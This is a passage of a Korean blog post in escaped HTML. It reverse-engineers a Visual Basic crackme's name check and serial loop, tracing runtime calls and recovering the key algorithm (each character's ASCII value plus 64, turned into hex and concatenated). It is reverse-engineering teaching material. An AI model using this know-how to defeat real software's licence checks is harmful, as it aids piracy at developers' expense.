style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Lt로 끝나는 &lt;b&gt;vbaVarTstLt&lt;/b&gt;&amp;nbsp;함수는&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;비주얼 베이직에서의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;관계연산자&amp;nbsp;&amp;lt; (less than)을 의미하는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;마찬가지로&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstLe&amp;nbsp;&amp;lt;= (less than or equal)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstGt&amp;nbsp;&amp;gt; (greater than)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstGe&amp;nbsp;&amp;gt;= (greater than or equal)&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstEq == (equal)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarTstNe != (not equal)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;등의 함수를 사용해&amp;nbsp;비교할 수도 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99423E4A5C63D7D631&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99423E4A5C63D7D631&quot; width=&quot;820&quot; height=&quot;112&quot; filename=&quot;13.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;글자수가 4글자 이상이라면&amp;nbsp;&lt;b&gt;403026&lt;/b&gt;&amp;nbsp;에서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;4030F9&lt;/b&gt;&amp;nbsp;로 점프하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그런데 여길 보면 어쩐지 익숙한 모양새이죠?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;점프하기 전과 동일하게&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;name&lt;/b&gt;의 글자수&amp;nbsp;조건을 확인하여 분기하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 글자수가 3글자 이하라면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;403130&lt;/b&gt;&amp;nbsp;에서 다시한번 점프하게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 620px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E9204A5C63D7D61C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E9204A5C63D7D61C&quot; width=&quot;620&quot; height=&quot;344&quot; filename=&quot;14.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;점프하는 곳을 확인해 보니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;클릭 이벤트 리스너 함수의 끝 부분이네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;종료하기 전&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모든 자원을&amp;nbsp;해제하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 글자가 3글자 이하이면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;오류메시지를 출력하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;곧바로 함수를 종료하게 되겠군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 820px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99457D4A5C63D7D725&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99457D4A5C63D7D725&quot; width=&quot;820&quot; height=&quot;279&quot; filename=&quot;15.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 3글자를 넘는다면 어떨까요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;403130&lt;/b&gt;&amp;nbsp;의 점프문을 넘기고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;변수 여섯개를 스택에 넣어 6개 인자로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarForInit&lt;/b&gt; 함수를 호출하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;For i = 1 To 10 Step 1
	...
Next&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;비주얼 베이직에는&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;위처럼&amp;nbsp;&lt;b&gt;For ... Next&lt;/b&gt; 라는 반복 구문이 존재하는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;vbaVarForInit&lt;/b&gt;&amp;nbsp;와&amp;nbsp;대응됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarForInit(arg1, arg2, arg3, first_loop_index, last_loop_index, loop_step)&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;몇번 돌려가면서 디버깅 해본 결과&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;4~6 번째 인자는 각각 루프 인덱스에 대한&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;최초값, 최후값, 증가값으로 되어 있었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 782px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F8D94D5C63D7D70C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F8D94D5C63D7D70C&quot; width=&quot;782&quot; height=&quot;73&quot; filename=&quot;16.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;루프 인덱스의&amp;nbsp;증감에 대한 관리는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;반복문 내에서 수행하는 것이 아니라&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarForNext&lt;/b&gt;&amp;nbsp;함수에서 수행하여 주고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 114px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9927AC4D5C63D7D936&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9927AC4D5C63D7D936&quot; width=&quot;114&quot; height=&quot;36&quot; filename=&quot;21.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;다만 루프 인덱스는 4바이트로 관리되며&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ForVarForInit&lt;/b&gt;&amp;nbsp;수행 직후에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;상위 바이트에 0071과 같은 값이 들어가는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;무슨 역할을 하는 것인지는 알아낼 수 없었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarForNext(loop_index, first_loop_index, last_loop_index) : loop_index &amp;gt;= last_loop_index이면 EAX = 0&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 반복문이 끝났다고 여겨지면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;EAX에 0 값을 넣어 리턴하는 것이지요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 817px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99796C4D5C63D7D734&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99796C4D5C63D7D734&quot; width=&quot;817&quot; height=&quot;19&quot; filename=&quot;17.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그럼 &lt;b&gt;403197&lt;/b&gt;&amp;nbsp;의&amp;nbsp;&lt;b&gt;TEST EAX, EAX&lt;/b&gt;&amp;nbsp;에서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;ZF(Zero Flag)&lt;/b&gt;&amp;nbsp;가 세워지고 직후 점프하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;반복문에서 빠져나가게 됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 669px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9978954D5C63D7D934&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9978954D5C63D7D934&quot; width=&quot;669&quot; height=&quot;66&quot; filename=&quot;20.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이제 반복문 내부를 한번 살펴볼까요?&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaI4Var(arg1, arg2): arg2의 하위 4바이트 정수값을 EAX에 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaI4Var&lt;/b&gt; 함수를 통해 EAX에 &lt;b&gt;EBP-24&lt;/b&gt;&amp;nbsp;변수의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하위 4바이트 값을 저장하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 114px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9927AC4D5C63D7D936&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9927AC4D5C63D7D936&quot; width=&quot;114&quot; height=&quot;36&quot; filename=&quot;21.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 112px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997D114D5C63D7D928&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997D114D5C63D7D928&quot; width=&quot;112&quot; height=&quot;37&quot; filename=&quot;22.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 EAX에는 루프 인덱스의 값이 들어가게 되는 것이죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;추가로 1값을 가진 &lt;b&gt;EBP-9C&lt;/b&gt; 변수도 인자로 받지만&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;무슨 역할을 하는 것인지는 알 수 없었습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 809px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D1174C5C63D7DA08&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D1174C5C63D7DA08&quot; width=&quot;809&quot; height=&quot;147&quot; filename=&quot;23.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;rtcMidCharVar(arg1, arg2, arg3) : arg2의 arg3번째 문자열을 arg1에 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;가져온 루프 인덱스의 값과&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;입력한 &lt;b&gt;name&lt;/b&gt;&amp;nbsp;문자열을&amp;nbsp;인자로 하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;name&lt;/b&gt;의 N번째 문자열을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;새로운 변수에 저장하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 루프 인덱스가 1이고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;name&lt;/b&gt; 문자열이&amp;nbsp;&lt;b&gt;abcde&lt;/b&gt;&amp;nbsp;라면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;a&lt;/b&gt;&amp;nbsp;를&amp;nbsp;리턴하게 되는 것이죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그 값을 다른 변수에 옮겨담아 준 후&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;임시변수의 자원은 즉시&amp;nbsp;해제해주고 있네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 725px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99367B4C5C63D7DA04&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99367B4C5C63D7DA04&quot; width=&quot;725&quot; height=&quot;91&quot; filename=&quot;24.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaStrVarVal(arg1, arg2) : arg1 문자의 포인터를 리턴합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaStrVarVal&lt;/b&gt;&amp;nbsp;함수는&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbsMidCharVar&lt;/b&gt;&amp;nbsp;함수를 통해 가져온 문자열의 주소&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;즉 &lt;b&gt;name&lt;/b&gt;의 N번째 문자의 포인터를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;EAX에 넣어줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;rtcAnsiValueBstr(arg1) : arg1 문자의 아스키코드 값을 리턴합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고 &lt;b&gt;rtcAnsiValueBstr&lt;/b&gt;&amp;nbsp;은 EAX 주소의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;HEX값을 다시 EAX에 넣어주죠.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 &lt;b&gt;name&lt;/b&gt;의 루프인덱스 N번째 문자가 &lt;b&gt;a&lt;/b&gt;&amp;nbsp;였다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;b&gt;0x61&lt;/b&gt;값을 EAX에 저장해 줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-54&lt;/b&gt;&amp;nbsp;에 그 값을 저장하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;임시자원은 즉시 해제해 주는 모습입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 750px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CDD34C5C63D7DB27&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CDD34C5C63D7DB27&quot; width=&quot;750&quot; height=&quot;154&quot; filename=&quot;25.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarAdd(arg1, arg2, arg3) : arg2와 arg3의 값을 더하여 arg1에 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-DC&lt;/b&gt;에 &lt;b&gt;64&lt;/b&gt;를 넣어 준 후&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아스키코드 값을 저장한 &lt;b&gt;EBP-DC&lt;/b&gt;와 더하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-9C&lt;/b&gt;에 저장하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;결론적으로 &lt;b&gt;(N번째 문자의 아스키 값)&amp;nbsp;+ 64&lt;/b&gt; 를&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;EBP-9C&lt;/b&gt;에 저장하고 있네요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;rtcHexVarFromVar(arg1, arg2) : arg2의 HEX값을 arg1에 문자열로 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 201px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A844455C64B0B522&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A844455C64B0B522&quot; width=&quot;201&quot; height=&quot;36&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고&amp;nbsp;&lt;b&gt;EBP-54&lt;/b&gt; 로 다시&amp;nbsp;옮겨담아서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rtcHexVarFromVar&lt;/b&gt; 함수를 통해 &lt;b&gt;EBP-9C&lt;/b&gt;에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;HEX 문자열을 저장하고 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 719px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9961654C5C63D7DB02&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9961654C5C63D7DB02&quot; width=&quot;719&quot; height=&quot;119&quot; filename=&quot;26.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;vbaVarCat(arg1, arg2, arg3) : 문자열 arg3, arg2를 붙여, arg1에 저장합니다.&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;문자열을 다시 &lt;b&gt;EBP-54&lt;/b&gt;에 옮겨주고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;vbaVarCat&lt;/b&gt; 함수를 사용하여&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;기존&amp;nbsp;문자열과 붙여주고&amp;nbsp;있군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 231px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990EFC4F5C64B23C23&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990EFC4F5C64B23C23&quot; width=&quot;231&quot; height=&quot;36&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;루프를 돌며 생성된 HEX 문자열들을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;하나씩 합쳐주는&amp;nbsp;것이지요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br 